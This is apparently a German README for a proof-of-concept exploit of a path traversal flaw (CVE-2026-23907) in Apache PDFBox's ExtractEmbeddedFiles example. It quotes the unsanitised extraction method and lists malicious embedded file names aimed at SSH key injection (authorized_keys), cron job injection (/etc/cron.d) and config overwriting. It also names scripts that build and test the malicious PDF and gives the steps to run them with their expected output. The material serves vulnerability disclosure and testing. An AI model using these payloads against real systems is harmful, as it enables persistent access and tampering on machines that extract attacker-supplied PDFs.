
Proof-of-Concept-Exploit für die Apache-PDFBox-Path-Traversal-Schwachstelle (CVE-2026-23907), die das beliebige Schreiben von Dateien über bösartige PDFs mit eingebetteten Dateien demonstriert.
Der Beispielcode ExtractEmbeddedFiles von Apache PDFBox bereinigt Dateinamen beim Extrahieren eingebetteter Dateien aus PDFs nicht. Ein Angreifer kann Dateien mit Pfad-Traversal-Sequenzen (../) einbetten, um Dateien an beliebigen Dateisystempfaden zu schreiben.
Datei: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
Der Parameter filename stammt direkt aus der PDF ohne Validierung.
SSH-Schlüssel-Injektion
../../.ssh/authorized_keysCron-Job-Injektion
../../../etc/cron.d/maliciousKonfigurationsüberschreibung
../../config/database.ymlcreate_malicious_pdf.py - Erzeugt bösartige PDF mit Pfad-TraversalTestPathTraversal.java - Demonstriert die Schwachstelletest_path_traversal.sh - Automatisiertes Testskriptmalicious_path_traversal.pdf - Vorgenerierte bösartige PDF./test_path_traversal.sh
# 1. Bösartige PDF erzeugen
python3 create_malicious_pdf.py
# 2. Test kompilieren (erfordert PDFBox-JAR)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. Test ausführen
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. Pfad-Traversal verifizieren
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.javaPDComplexFileSpecification.getFilename() ohne Bereinigung aufruft